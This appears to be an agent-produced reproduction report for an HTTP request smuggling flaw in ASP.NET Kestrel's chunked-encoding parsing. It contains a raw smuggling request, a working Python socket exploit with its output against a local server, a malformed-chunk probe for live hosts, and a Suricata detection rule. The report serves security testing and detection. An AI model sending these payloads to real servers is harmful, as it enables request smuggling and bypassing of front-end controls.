Run directory: artifacts/runs/ASP-Kestrel-Chunked-Smuggling/20251017-210608/ASP-Kestrel-Chunked-Smuggling/default_recipe/
POST / HTTP/1.1
Host: localhost
Transfer-Encoding: chunked
Content-Type: text/plain
Connection: keep-alive
4;ext=foo
ABCD
0
GET /smuggled HTTP/1.1
Host: localhost
This is the exact request sent in tool_26_run_shell.log.
import socket
payload = (
b"POST / HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"Transfer-Encoding: chunked\r\n"
b"Content-Type: text/plain\r\n"
b"Connection: keep-alive\r\n"
b"\r\n"
b"4;ext=foo\r\n"
b"ABCD\r\n"
b"0\r\n"
b"\r\n"
b"GET /smuggled HTTP/1.1\r\n"
b"Host: localhost\r\n"
b"\r\n"
)
with socket.create_connection(("127.0.0.1", 5000)) as s: # vulnerable Kestrel 7.0.20
s.sendall(payload)
s.settimeout(1.0)
chunks = []
try:
while True:
data = s.recv(4096)
if not data:
break
chunks.append(data)
except Exception:
pass
print(b"".join(chunks).decode(errors="ignore"))HTTP/1.1 200 OK
Date: Fri, 17 Oct 2025 23:07:20 GMT
Transfer-Encoding: chunked
2
OK
0
HTTP/1.1 200 OK
Date: Fri, 17 Oct 2025 23:07:20 GMT
Transfer-Encoding: chunked
2
OK
0
The server produced two responses on the same TCP connection, confirming GET /smuggled was accepted.
Exception: timed out
HTTP/1.1 200 OK
Date: Fri, 17 Oct 2025 23:10:35 GMT
Transfer-Encoding: chunked
2
OK
0
The patched build closes the connection after throwing Bad chunk extension, preventing the smuggled request.
| Item | Path |
|---|---|
| Smuggling script | tool_26_run_shell.log |
| Patched run output | tool_44_run_shell.log |
| Vulnerable server log | workspace/vulnerable_app.log |
| Patched server log | workspace/patched_app.log |
| Fix commit (source tree) | workspace/aspnetcore → git show b50ab865ec4dcd3d6ac30221288cc36bf189d300 |
To monitor live environments without custom endpoints, send a pre-auth GET / probe over TLS with a malformed chunk extension:
GET / HTTP/1.1
Host: <target>
Transfer-Encoding: chunked
2;\rxx
xy
0
- Vulnerable Kestrel keeps the TLS session open after a
200 OK. - Patched Kestrel immediately aborts (400/connection close) because it now rejects the invalid chunk extension.
Deploying this probe via an L7 monitor provides a stable, generic detection path for CVE-2025-55315.
If you need passive detection on the wire, the following Suricata-compatible rule flags inbound HTTP/1.1 requests that contain the problematic "\r" in a chunk extension. It maps cleanly to Snort as well.
alert http any any -> $HOME_NET any (
msg:"Possible Kestrel chunked smuggling probe";
flow:to_server,established;
http.request_line;
content:"Transfer-Encoding|3a| chunked"; http.header;
content:"|0d 0a|2;|0d|"; within:32;
classtype:web-application-attack;
sid:2025553151; rev:1;
)
content:"|0d 0a|2;|0d|"looks for a CR immediately after the chunk length (2;) which legitimate clients should not send.- Adjust the
sid/revaccording to your ruleset policies. - Pair this with logging/alerting so operators can correlate probes with upstream platform versions.
Together, the active TLS probe and the passive IDS signature give full coverage: one verifies your own fleet, the other alerts if someone else is probing (or exploiting) the bug in production.